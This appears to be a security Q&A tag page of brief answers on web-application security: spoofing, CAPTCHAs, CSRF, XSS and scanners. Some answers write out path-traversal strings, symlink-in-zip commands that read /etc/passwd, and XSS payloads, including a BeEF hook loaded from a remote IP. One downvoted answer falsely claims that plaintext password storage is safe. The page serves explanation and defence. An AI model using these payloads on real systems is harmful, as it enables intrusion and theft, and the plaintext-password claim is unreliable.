Tag Info

New answers tagged

1

As others have already explained, it is very unlikley that an attacker will be able to perform active TCP spoofing of your IP address. What is more likely is that you make a common mistake in you protection. Many tutorials use the following example of how to configure restricted access: <Limit GET HEAD POST> DENY FROM ALL ALLOW FROM myip ...


0

Doesn't the yui compressor make it difficult for human readability? In any case, you shouldn't do validation just on the client side. Remember, it's not called client server for nothing, so let the server do most of the work. The thing to remember is the world wide web was never meant to be opaque to the endpoint. That moniker belongs to native applications. ...


0

Options: Load propitiatory client side JavaScript code after the user has logged in to the web site. If you still don't want authenticated users to see the JS code, then load a JS on the client that calls another JS file that runs on the server or call a service such as a WebAPI. Off course, you want to secure the communication channel, perhaps using ...


2

The point of RFD is abusing the trust of certain sites and if I can make arbitrary files look like they are coming from a trusted site, I get to bypass certain warnings. (Is it my browser that already trusts certain sites or is it the user or both?) I think it is only meant as in the user will look at the downloaded file and think "Oh, it did come from ...


2

From what it sounds like this is not a problem limited to you. Many other WordPress websites have been hit. I'd expect someone to come out with a more comprehensive solution soon. That being said: ARS Technica just reported that it seems like a premium plugin called RevSlider is responsible for the security hole. Other than restoring the website from a ...


3

CAPTCHAs are one area of computer security where "roll-your-own" can be a good idea. In order to break a CAPTCHA, a bot needs to be programmed to recognize and solve the CAPTCHA. For low-volume, low-value sites, the cost to program a bot to handle even a trivial CAPTCHA such as this is greater than the expected value of breaking it. By the simple ...


0

It does stop the most rudimentary bots which repeatedly POST the same form. As you have mentioned, a more sophisticated bot can evaluate the result and append the unique nonce to every request, thus defeating this system.The most sophisticated bots can even go one step further by performing optical character recognition(OCR) on captcha images and input the ...


0

Short answer, simple match in clear text is not a CAPTCHA. Read the CAPTCHA wiki to get a better understanding of what defines a CAPTCHA. CAPTCHA Characteristics: CAPTCHAs are by definition fully automated, requiring little human maintenance or intervention to administer. This has obvious benefits in cost and reliability. By definition, the ...


0

There's the possibility of your entire machine being available for download via path traversal. ex. ../../../../../etc/passwd. So you'd have to restrict the directories people can download from. If you're using WebDAV to provide file downloads, you'd have to add authentication on there for the PUT verb at the bare minimum. If it's FTP, then the same rules ...


0

This is almost unfeasible because of several factors: As TCP/IP employs three-way handshake, it is very difficult to an attacker start and mantain a usable TCP connection for a time long enough to extract useful information from your page. Spoofing the source address will send the response to the spoofed IP, not the attacker's IP. He will not see any of ...


1

You need to do a risk assessment for each site. and consider likelihood as well as consequences. It could be that some of your sites have a much higher likelihood than others. If this is the case, you could consider slightly modified approaches, such as keeping the high risk sites on their own system and only putting the lower risk ones on the shared system. ...


5

Remember that TCP/IP requires 2-way communication. Yes, someone can spoof an IP (with difficulty), but in doing so, they break the ability to receive replies. Spoofing an IP is usually better suited to "fire-an-forget" scenarios like DDoS.


0

You're right: missing TLS is a far greater problem than just modifying the login form's action. Have a look at the full paragraph from the link you provided: The login page and all subsequent authenticated pages must be exclusively accessed over TLS. The initial login page, referred to as the "login landing page", must be served over TLS. Failure to ...


0

I can't tell you how to break that specific system as there is not enough information supplied, although I can provide some general things to try: Try / and \ at the start of the folder name to try and reach the root directory. Try %2f and %5c (percent encoded versions of the above). Try using 16-bit Unicode encoding (. = %u002e, / = %u2215, \ = %u2216). ...


1

Anything sent in a request using the HTTP TRACE method will be echo-ed back in the response. This may lead to Cross Site Tracing (XST) attacks, which could lead to steal a user's cookie even if the cookie has the HTTPOnly attribute flag set. The HTTP TRACE method is used for debugging purposes only and should be disabled. Apache Configuration: ...


0

If you have an email destination that spawns another email destination, there's a chance that will turn into a feedback loop. At it's most efficient, the smtp might deliver your mail to your local destination before it receives a resend, i.e. you lose disk space. If it doesn't, you lose cpu cycles, and diskspace.


1

If a user can get your email server to spam emails, it could increase the likelihood that all emails from you are automatically marked as spam. In the worst case, you could end up on email blacklists and emails you send could be completely ignored. This is assuming you are running all parts of this on your own servers. If not, you might want to clarify.


1

I think the greatest threat could be Denial of service, you could send so many e-mails you could saturate your SMTP server, your mail server and your user´s personal inbox.


-1

There is nothing wrong with storing plaintext passwords. In fact, in some ways it is the best solution. [not] storing passwords in plaintext limits the security of communications. it is more secure to send passwords encrypted over the network, and store them in plaintext on the database, than sending the passwords in plaintext over the network and ...


5

You can't currently depend on the Origin header, because it is not implemented in all browsers which are in active use. Apart from that, Origin is not sent in all cases relevant to CSRF, like <img src=http://router/admin.cgi?...>


3

It is best to plan out and control each URI (params or not) sent to the active/passive scanning engine. The target analyzer in the engagement tools (typically selected from the Target sitemap tab as "Analyze target") is a great place to select parameters and then "send to Intruder". Typically, you can customize your fault injection strategies in Intruder by ...


2

Depends on the context. A very short one: Context: <script src="%XSS%"></script> Let's say you are the owner/maintainer/administrator of http://.to (Tonga gTLD). <script src="//to"></script> XSS with 4 chars. Probably one of the shortest possible. There are dozens of other contexts. Edit: Tested on Chrome ...


6

I don't think it will open you up to SQL Injection. That said - while I am not an expert on Prestashop or it's code base, I got the impression that the sanitize function you linked to is not just used to prevent SQL Injection, but multiple kinds of vulnerabilities (notice the call to strip_tags on line 102). If this is true you should be careful that you ...


3

As per MySQL's documentation on the Encryption functions, http://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html Caution Passwords or other sensitive values supplied as arguments to encryption functions are sent in plaintext to the MySQL server unless an SSL connection is used. Also, such values will appear in any MySQL logs to which ...


2

There are CSRF prevention techniques that do not rely upon a session-bound CSRF token, after all there is more than on way to skin a cat. When considering a CSRF protection system, look for any shortcut that doesn't exist with the commonly used CSRF synchronization token pattern. There are three concerns with this proposed CSRF protection system. ...


-1

If the adress ID could be generated from a specified adress (for example, if the adress ID is some binary representation of lat/long of the specified adress that is then Base64-encoded and then converted back and forth via a geolocation service), then you are at same risk of CSRF as originally. But if the ID is random, then you are safe from CSRF. You need ...


1

How effective are tools such as w3af in looking for web app vulnerabilities compared to looking for vulnerabilities manually? They are effective for what they are. Scanners will find the low hanging fruit. However, they typically fail at finding vulnerabilities caused by flawed business logic. In this area humans have the advantage. Scanners ...


3

Encryption is not a good way to ban automated clients, because if a browser is able to decrypt the content of the contest, a good bod is able to to the same. But for the sake of completeness: A very easy way to eliminate automated scripts would be something only a human can solve. A very popular way of doing this is a Captcha. From Wikipedia: A ...


2

Tools are always limited in my opinion. Testing an authorization mechanism and session fixation (I've yet to come a cross a tool that can do this) are just two examples a tool can't (properly) do. Tools are good for the so called low hanging fruits (most of the OWASP top 10 issues), but can't be called a penetration test. I generally use tools to get a ...


2

Manual testing: Slow; Humans can forget some important tests; Complex, sophisticated and creative testing. Automated testing: Fast; Tests a lot (thousands) of vulnerabilities (never forget a test); Easily repeatable after remediation; "Cake Recipe" (will just test what it was designed to test). Based on the above points, we can say that each type of ...


6

Symlinks are like shortcuts, so if you create a symlink pointing to /etc/passwd, when you open the symlink your O.S. will open /etc/passwd. How the attack works? 1) Create a symlink in your computer to /etc/passwd e.g.: ln -s /etc/passwd ./symlink.jpg 2) Create a zip with the symlink e.g.: zip —symlinks -r photos.zip ./symlink.jpg 3) Upload the ...


1

The terminology is a little slippery, but usually an "XSS bug" is a client-side exploit of a server-side vulnerability. Cross-site scripting is not, in and of itself, a security problem. The problem is that it can happen without the end user's knowledge. Most sites aren't coded for this to happen, of course: either they don't use cross-site scripting at ...


-2

Contrary to what many other believe, xss is both client side and server side. A persistent xss is server side as the server stores the code to be executed in the client. When it is non-persistent, it is considered client side, as the client can only get the result through that input Make sense?


0

It is generally best practice to filter as many things as you can on the server side and not on the client size for the following reasons: Performance Liability (Once you have sent out data you shouldn't have, you can not control the effects of it) User Safety (You generally don't know what version of your client the users have) An XSS attack is not much ...


3

Cross-site Scripting (XSS) attacks can generally be categorized as one of: Stored XSS Attacks Reflected XSS Attacks DOM Based XSS Attacks The attack itself is taking place on the client. All three attack types could fully manifest themselves in the browser itself in the case of a single page or offline application. However, if the data is stored on the ...


7

It manifests itself on the client side, but that is because it is allowed to do so by the web application. The application doesn't validate the code that it sends back to the browser. And thats why it is a server side vulnerability. Think about it this way. What would you do to fix the issue of XSS? Fix the server side code or fix the browser?


26

In a cross-site scripting attack, the malicious script is run on the client, but the actual flaw is in the application. That doesn't necessarily mean that it is a strictly server-side vulnerability, in that the flaw could be in the application's JavaScript, but generally, it is indeed in server-side code, and always in code that is delivered by the server. ...


2

This is a pretty scary thing to be doing, as by definition, you are wanting to look at sensitive, user-submitted data on those computers. Sure, you might catch the occasional wrongdoer, but you're going to be capturing quite a lot of normal people's passwords, emails, etc. Which is probably opening a whole slew of liability to whoever owns the computer lab. ...


0

There is no such thing possible till day. as Graham Hill said that you can use two layer authentication, mean when u login a code will be sent to you on mobile and than you have to enter that code and than you can see the inbox. Well apart from this Gmail is continuously capturing the location from where u loggged in. And benefit of this is if someone have ...


1

You have a lot of options and you should pick the best one based on your requirements. Authentication systems aimed at automated systems have different usability requirements than users. For example, users generally don't want to present their password with every request or handle long, complicated passwords. The code calling your API doesn't have those ...


1

I have used HTML Purifier before and have been pretty satisfied. http://htmlpurifier.org/ However, I have not performend extensive/advanced testing on it. The basic XSS attempts get caught, the website seems to show the maintainter has a knack for this thing so I assume it is not a bogus project. If anyone on here believes otherwise, please let me know.


0

There is the OWASP Enterprise Security API which has a php version. Otherwise, there is the web application firewall approach where using something like PHPIDS or mod_security can stop some of the attacks.


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


4

Regarding why it has cross-site in the name, Jeremiah Grossman has a good article on that. Snipit below: What was soon discovered was that a malicious website could load another website into an adjacent frame or window, then use JavaScript to read into it. One website could cross a boundry and script into another page. Pull data from forms, ...



Top 50 recent answers are included